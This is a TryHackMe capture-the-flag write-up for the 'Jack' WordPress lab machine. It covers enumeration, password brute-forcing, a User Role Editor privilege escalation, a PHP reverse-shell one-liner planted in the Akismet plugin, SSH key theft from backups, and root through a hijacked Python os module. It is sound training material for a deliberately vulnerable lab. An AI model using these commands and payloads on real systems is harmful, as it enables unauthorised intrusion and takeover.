Try Hack Me — Jack
This is the first in a series of writeups I’ll be doing. The goal of these writeups will is to share with others whilst developing reporting habits and improving my own process. I’m relatively new to TryHackMe and I’m enjoying the platform so far. This writeup will not include any passwords/cracked hashes/flags.
Credits to the room author.
First, we will connect to the VPN. If you are not familiar with the process go through this room first and the other ‘getting started’ rooms.
Once we are connected we will deploy the machine (note that in the room description there is a request for you to add jack.thm to /etc/hosts) :
Once we click deploy the machine will be started and we will need to wait a few minutes for it to get setup. We will be given an IP for the machine, in my case it’s 10.10.211.119 and the time limit which we can add to if we need to.
Let’s add jack.thm to the /etc/hosts file on our system. For this I use nano, there are other text editors and options for editing the file:
Depending on your system this file might look slightly different but the principle is the same. Add the IP followed by a tab and the host name:
Now we are all setup we will move onto scanning and enumeration.
Scanning & Enumeration
If you are new to scanning and enumerating a host I would recommend running through some of the basics first. TryHackMe has an NMAP room that will help give you a baseline. In the room description we know that the goal is to compromise a web server running WordPress. From this it’s safe to assume that we are looking for ports 80/443 if standard, so to save some time we will run a default scan which covers the most common 1000 ports:
nmap -o scan/jack.txt 10.10.211.119
Our scan gives us two open ports. SSH on port 22 and HTTP on port 80. Without credentials SSH isn’t likely to be vulnerable to an exploit but, in some cases, it is possible. For now, we will enumerate port 80 further to see what is exposed and if we do need to expand our scan we will. Let’s open a browser and visit jack.thm:
We have a blog page for Jack’s Personal Site. Covering the very basics we can see that there is a user called Jack and one blog post with some references from the movie The Shining. From here it’s good general practice to check the site for possible web vulnerabilities, I didn’t find anything and it is likely from the description that the foothold into the machine is via WordPress. If your page isn’t rendering as above make sure your /etc/hosts file is set correctly.
The default login page for WordPress can be found at /wp-admin/. Testing some basic credential combinations like admin:admin or jack:admin doesn’t grant us access so we will need to dig deeper into WordPress.
Next, we will use WPScan to further enumerate the WordPress environment running on the server. We run WPScan agains the jack.thm url with the following flags to enumerate for users, plugins and themes:
wpscan --url http://jack.thm -e u,p,t
Let’s go through our findings. First, we have XML-RPC enabled which opens WordPress up to a few vulnerabilities. A blog post here by Bilal Rizwan goes further into this and is worth checking out:
The next piece of information we are interested in from the results is the version information, this is useful to make note of in case it becomes relevant later on. In this case the version is WordPress 5.3.2:
Finally, we have a list of users identified by the scan. In this case we have users three users (I have redacted the usernames from this writeup to avoid spoilers):
With the scan complete we can summarise that the server is running WordPress 5.3.2 with XML-RPC enabled and has verified three users. With this information we will move on to exploiting WordPress.
WordPress Password Brute-Forcing
With XML-RPC enabled and a list of users WordPress is vulnerable to brute-force attacks and we want to try and obtain a valid login username and password. This can be done manually but WPScan has a built in function to perform this type of attack. First, let’s setup a list of the usernames to use:
echo user1 > users.txt;echo user2 >> users.txt;echo user3 >> users.txt
Typically, we would use rockyou.txt as a go-to wordlist for brute-forcing but checking three usernames against 14,341,564+ passwords is going to take a really long-time. Without giving away too much there are other wordlists available on Kali (2020) and one of them will be faster.
wpscan -U users.txt -P /path/to/wordlist.txt --url http://jack.thm
It shouldn’t take longer than a minute or two to crack the password:
We now have a valid username and password and can login to WordPress.
WordPress Elevating Privileges
Once we have logged in we now have further access to WordPress but our user is not a full administrator. We don’t have access to themes/plugins which is typically something we might look to leverage for a shell.
At this point we know we need to elevate our privileges to be able to start looking into code execution. We will use Searchsploit to locate potential methods:
searchsploit WordPress Privilege Escalation
From the results we find a privilege escalation for the WordPress plugin ‘User Role Editor’ (the version number refers to the plugin not the version of WordPress), this might be an option for us:
We will grab this file and take a look at what it will do:
searchsploit -m 44595
The exploit works by trying to send a modified post request specifying the users privileges using ure_other_roles as part of updating a users profile. We can check to see if this is possible using Burp Suite to intercept an update request.
First, navigate to your users profile in WordPress. Next, open Burp Suite, set the proxy on your browser and turn on intercept:
Now we are setup to intercept requests. Make any modification to a section of the profile (i added test to the Biographical Info section) and click the ‘Update Profile’ button:
Back in Burp we can view the section of the post request that may be vulnerable:
Comparing this to the ruby module we found using searchsploit we can see that all these conditions in the post request are set except for ure_other_roles:
So, let’s try adding this to our request and see if it does work:
We modify our request and click forward in Burp:
Once the request has forwarded we switch our proxy back to standard and close Burp. We now have administrator access to WordPress and we can see under the plugins tab the vulnerable User Role Editor Plugin Version 4.24:
WordPress Getting a Shell
We can use the Plugin’s already installed in the theme to get a reverse shell. We will use the Akismet plugin and a simple one liner:
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip address> <port> >/tmp/f") ?>
We navigate to ‘Plugin Editor’ in the plugins menu and add our line to the top of the akismet.php page. Once we’re done we click on ‘Update File’:
Next, we setup our netcat listener:
nc -lvnp 8888
Then we navigate to plugins and click on ‘Activate’ for Akismet:
We now have a reverse shell on the server as user www-data:
Privilege Escalation to Jack
From here we can navigate to /home/jack and list out the files of the jack users home folder:
We can grab the user.txt flag and then let’s read the reminder.txt file:
This is interesting. The standard place for backups is in /var/backups so we will list out the contents of that file:
We can see an id_rsa key with full permissions. Let’s see if we can use this key to SSH into the machine as Jack. First, we will copy+paste the file to our host and save it as id_rsa. Next, we will need to change the permissions on the file to be able to use it with SSH:
chmod 600 id_rsa
Then we try SSH:
ssh -i id_rsa firstname.lastname@example.org
We are now on the machine as user Jack.
Privilege Escalation to Root
The machine’s description gives us hints towards what the privilege escalation might be:
escalate your privileges to root using a python module
For this to work there might be a process running on the machine that executes a python script which could be using a module we can poison.
We will use Pspy64 by Dominic Breuker to monitor running processes on the system. First, we will navigate to the /tmp/ directory and transfer pspy64 to the target using a python server and wget.
python3 -m http.server 80
wget http://<my ip>/pspy64
We will change the permissions on pspy64 so that we can execute it:
chmod +x pspy64
And then run pspy64:
From the output we can identify a python script that is running every 2mins:
Let’s check out the /opt/statuscheck/ directory:
We have a script and the output.log file the script creates.
Looking at the script we can see that the only module it is using is the os module:
We now need to find out the location of the module that the script is using. We will check the /usr/lib/ directory for possibilities. We have three options, python2.7, python3 and python3.5:
Using os.system in the script seems likely to be an older Python version so we’ll start with python2.7:
We discover os.py with writable permissions set for our user. Next, we will add a python shell onto the end of our the module code. For this we will use the following:
s.connect(("<my ip>", 4444))
We add our code to the end of the os.py file:
We save the file and exit, then we setup a netcat listener on our machine:
nc -lvnp 4444
When the script runs (which will take up to 2 minutes) we are returned a root shell:
Thanks to the machine creator/s for this challenge.